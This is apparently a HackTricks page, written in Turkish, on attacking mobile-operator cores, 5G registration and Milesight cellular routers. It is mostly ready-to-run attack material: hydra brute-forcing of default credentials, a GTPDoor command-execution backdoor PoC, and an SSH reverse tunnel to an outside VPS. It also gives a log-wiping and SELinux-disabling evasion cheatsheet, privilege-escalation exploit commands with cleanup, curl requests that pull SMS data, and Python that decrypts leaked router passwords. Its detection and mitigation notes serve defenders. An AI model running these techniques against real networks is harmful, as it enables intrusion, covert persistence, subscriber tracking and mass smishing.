Telekom Ağ İstismarı (GTP / Roaming Ortamları)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) genellikle yarı-güvenilir GRX/IPX roaming backbone’ları üzerinden geçer. Çünkü bunlar neredeyse hiçbir kimlik doğrulama olmadan düz UDP üzerinde taşınır, telekom çevresinin içinde herhangi bir foothold genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir. Aşağıdaki notlar SGSN/GGSN, PGW/SGW ve diğer EPC düğümleri aleyhine vahşi ortamda gözlemlenen saldırı tekniklerini toplar.
1. Recon & Initial Access
1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede çok sayıda vendor ağ elemanı root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … gibi hard-coded SSH/Telnet kullanıcılarıyla gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Eğer cihaz yalnızca bir management VRF sunuyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
1.2 GRX/IPX içinde Host Keşfi
Çoğu GRX operatörü omurgada hâlâ ICMP echo’ya izin veriyor. GTP-C dinleyicilerini hızlıca haritalamak için masscan’ı yerleşik gtpv1 UDP probes ile birleştirin:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Abone Tespiti – cordscan
Aşağıdaki Go aracı GTP-C Create PDP Context Request paketleri oluşturur ve yanıtları kaydeder. Her bir cevap, sorgulanan IMSI’ye hizmet veren mevcut SGSN / MME’yi ve bazen abonenin ziyaret ettiği PLMN’i ortaya çıkarır.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ana bayraklar:
--imsiHedef abone IMSI--operHome / HNI (MCC+MNC)-wHam paketleri pcap’e yaz
Binary içindeki önemli sabitler taramaları genişletmek için yamalanabilir:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor küçük bir ELF servisidir ve UDP 2123’e bind eder ve gelen her GTP-C paketini parse eder. Yük (payload) önceden paylaşılan bir tag ile başlıyorsa, geri kalan AES-128-CBC ile deşifre edilir ve /bin/sh -c ile çalıştırılır. stdout/stderr, dışarıya herhangi bir oturum açılmadan Echo Response mesajları içinde exfiltrate edilir.
Minimal PoC paket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Tespit:
- SGSN IP adreslerine dengesiz Echo Requests gönderen herhangi bir host
- GTP version flag’ın 1 olarak ayarlanması iken message type = 1 (Echo) – spesifikasyondan sapma
4. Çekirdek Üzerinden Pivoting
4.1 sgsnemu + SOCKS5
OsmoGGSN gerçek bir GGSN/PGW’ye karşı bir PDP context kurabilecek bir SGSN emülatörü ile gelir. Müzakere tamamlandıktan sonra, Linux yeni bir tun0 arayüzü alır; bu arayüz roaming peer tarafından erişilebilir.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Uygun firewall hair-pinning ile bu tünel signalling-only VLANs’ı atlayıp sizi doğrudan data plane’e indirir.
4.2 SSH Reverse Tunnel over Port 53
DNS, roaming altyapılarında neredeyse her zaman açıktır. Dahili bir SSH servisini VPS’inizde :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri bağlanın:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPS’te GatewayPorts yes’in etkin olduğundan emin olun.
5. Covert Channels
| Channel | Transport | Decoding | Notes |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, dışa giden trafik yok |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) A-kayıt oktetlerine kodlanmış | *.nodep alt alan adını izler |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | meşru GTP-C trafiğiyle karışır |
Tüm implantlar, ikili dosyalarını timestomp eden ve çökmeleri durumunda yeniden başlatılan watchdog’lar içerir.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Legacy NE’de Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Temizlik ipucu:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– önceki bölümlerde açıklanan özel tooling.FScan: intranet TCP taramaları (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G kayıt prosedürü, NGAP üstünde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS security aktifleştirilene kadar, ilk mesajlar doğrulanmamış ve şifrelenmemiştir. Bu pre-security pencere, N2 trafiğini gözlemleyebildiğiniz veya değiştirilebildiğiniz durumlarda (ör. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment, akışı yeniden üretmek için yeterlidir.
- UE: simülatör veya test UE; Wireshark ile decode edin.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Beklenen: UE/USIM SUCI göndermelidir (SUPI, ana ağın açık anahtarı ile şifrelenmiş). Registration Request içinde düz metin SUPI/IMSI bulunması, kalıcı abone takibini mümkün kılan bir gizlilik kusuruna işaret eder.
Nasıl test edilir:
- InitialUEMessage içindeki ilk NAS mesajını yakalayın ve Mobile Identity IE’yi inceleyin.
- Wireshark hızlı kontrolleri:
- Bunun SUCI olarak decode olması gerekir, IMSI olarak değil.
- Filtre örnekleri:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suciolmalı; bunların yokluğu veimsivarlığı leak’e işaret eder.
Neler toplanmalı:
- Eğer açığa çıkıyorsa MCC/MNC/MSIN; UE başına loglayın ve zaman/mekan boyunca takip edin.
Mitigasyon:
- Yalnızca SUCI gönderen UE/USIM’leri zorunlu kılın; initial NAS içinde herhangi bir IMSI/SUPI tespit edildiğinde alarm verin.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Arka plan:
- UE, Registration Request içindeki UE Security Capability IE’de desteklediği EEA (encryption) ve EIA (integrity) algoritmalarını bildirir.
- Yaygın eşlemeler: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 ise null algoritmalardır.
Problem:
- Registration Request integrity korumalı olmadığı için, on-path bir saldırgan capability bitlerini temizleyerek Security Mode Command sırasında EEA0/EIA0 seçimini zorlayabilir. Bazı yığınlar acil servisler dışında null algoritmalara yanlışlıkla izin verebiliyor.
Saldırı adımları:
- InitialUEMessage’i yakalayın ve NAS UE Security Capability’yi yalnızca EEA0/EIA0 gösterecek şekilde değiştirin.
- Sni5Gect ile NAS mesajına müdahale edip capability bitlerini ileriye iletmeden önce patchleyin.
- AMF’nin null cipher/integrity kabul edip etmediğini gözlemleyin ve Security Mode ile EEA0/EIA0 ile tamamlanıp tamamlanmadığını kontrol edin.
Doğrulama/görünürlük:
- Wireshark’ta Security Mode Command/Complete sonrası seçilen algoritmaları doğrulayın.
- Örnek pasif sniffer çıktısı:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Önlemler (zorunlu):
- AMF/policy’yi EEA0/EIA0’ı reddedecek şekilde yapılandırın; yalnızca kesin olarak zorunlu olduğu durumlarda (ör. acil çağrılar) izin verin.
- Tercihen en azından EEA2/EIA2 uygulanmasını sağlayın; null algoritmaları müzakere eden herhangi bir NAS security context için log tutun ve alarm oluşturun.
9.3 İlk Registration Request’in Replay’i (pre-security NAS)
İlk NAS bütünlük ve freshness eksikliği nedeniyle, yakalanmış InitialUEMessage+Registration Request AMF’ye replay edilebilir.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Araç ipuçları (tekrarlanabilir)
- Open5GS: bir AMF/SMF/UPF başlatıp core’u taklit edin; N2 (NGAP) ve NAS’ı gözlemleyin.
- Wireshark: NGAP/NAS çözümlerini doğrulayın; Registration’ı izole etmek için yukarıdaki filtreleri uygulayın.
- 5GReplay: bir registration yakalayın, sonra kural gereği belirli NGAP + NAS mesajlarını replay edin.
- Sni5Gect: canlı sniff/modify/inject ile NAS control-plane’i manipüle ederek null algorithms zorlaması veya authentication dizilerini bozma.
9.5 Savunma kontrol listesi
- Düz metin SUPI/IMSI için Registration Request’i sürekli inceleyin; suçlu cihazları/USIM’leri engelleyin.
- Sadece dar tanımlı acil durum prosedürleri dışında EEA0/EIA0’ı reddedin; en az EEA2/EIA2 gerektirin.
- Yetkisiz veya yanlış yapılandırılmış altyapıyı tespit edin: unauthorized gNB/AMF, beklenmeyen N2 peer’leri.
- NAS security modes’un null algorithms ile sonuçlandığı veya InitialUEMessage’in sık replay’lerine yol açtığı durumlarda uyarı oluşturun.
10. Endüstriyel Hücresel Router’lar – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Endüstriyel hücresel router’ların açık web API’lerini istismar etmek, büyük ölçekte gizli, operatör kaynaklı smishing’e olanak verir. Milesight UR-serisi router’lar /cgi yolunda JSON-RPC–tarzı bir endpoint açığa çıkarır. Yanlış yapılandırıldığında, API kimlik doğrulaması olmadan sorgulanabilir; SMS inbox/outbox’u listeleyebilir ve bazı dağıtımlarda SMS gönderebilir.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Yanıtlar timestamp, content, phone_number (E.164) ve status (success veya failed) gibi alanlar içerir. Aynı numaraya tekrarlanan failed gönderimleri genellikle saldırganların, blasting öncesi bir router/SIM’in teslimat yapıp yapamayacağını doğrulamak için yaptığı “capability checks”dir.
Örnek curl ile SMS metadata’yı exfiltrate etmek için:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
auth artifacts hakkında notlar:
- Bazı trafik auth cookie içerebilir, ancak yönetim arayüzü Internet-facing olduğunda, açığa çıkmış cihazların büyük bir kısmı
query_inbox/query_outboxisteklerine herhangi bir authentication olmadan yanıt verir. - Auth gerektiren ortamlarda, previously-leaked credentials (see below) erişimi geri kazandırır.
Credential recovery path – CVE-2023-43261:
- Etkilenen familyalar: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Sorun: web-served logs (ör.
httpd.log)/lang/log/altında unauthenticated olarak erişilebilir ve client-side JavaScript’te bulunan hardcoded AES key/IV ile şifrelenmiş password içeren admin login olaylarını barındırır. - Pratik access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Leaked şifreleri deşifre etmek için minimal Python (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Tehdit avı ve tespit fikirleri (ağ):
- Yetkilendirilmemiş
POST /cgiiçin uyarı verin; JSON gövdesindebase/functionalanıquery_inboxveyaquery_outboxolarak ayarlanmış olanlar. - Aynı kaynak IP’den birçok farklı numara üzerinde
status":"failed"girdileri ile sonlanan tekrar edenPOST /cgipatlamalarını takip edin (capability testing). - İnternete açık Milesight yönlendiricilerini envanterleyin; yönetimi VPN ile sınırlayın; gerekmedikçe SMS özelliklerini devre dışı bırakın; ≥ v35.3.0.7 sürümüne yükseltin; kimlik bilgilerini değiştirin ve bilinmeyen gönderimler için SMS loglarını gözden geçirin.
Shodan/OSINT pivots (gerçekte görülen örnekler):
http.html:"rt_title"Milesight router panelleriyle eşleşir.- Açığa çıkmış loglar için Google dorking:
"/lang/log/system" ext:log.
Operasyonel etki: Router’lar içinde gerçek operatör SIM’lerinin kullanılması phishing için çok yüksek SMS teslim edilebilirliği/güvenirliği sağlar; aynı zamanda inbox/outbox exposure hassas meta verileri büyük ölçekte leaks.
Tespit Fikirleri
- Create PDP Context Requests kuran, SGSN/GGSN dışındaki herhangi bir cihaz.
- İç IP’lerden gelen SSH handshakes alan standart olmayan portlar (53, 80, 443).
- Karşılık gelen Echo Responses olmadan sık gelen Echo Requests – GTPDoor beacon’larını gösterebilir.
- Büyük, sıfır olmayan identifier/sequence alanlarına sahip yüksek oranda ICMP echo-reply trafiği.
- 5G: Identik uç noktalardan tekrar edilen NAS Registration Requests içeren InitialUEMessage (replay signal).
- 5G: Acil durum bağlamları dışında EEA0/EIA0 müzakere eden NAS Security Mode.
Referanslar
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

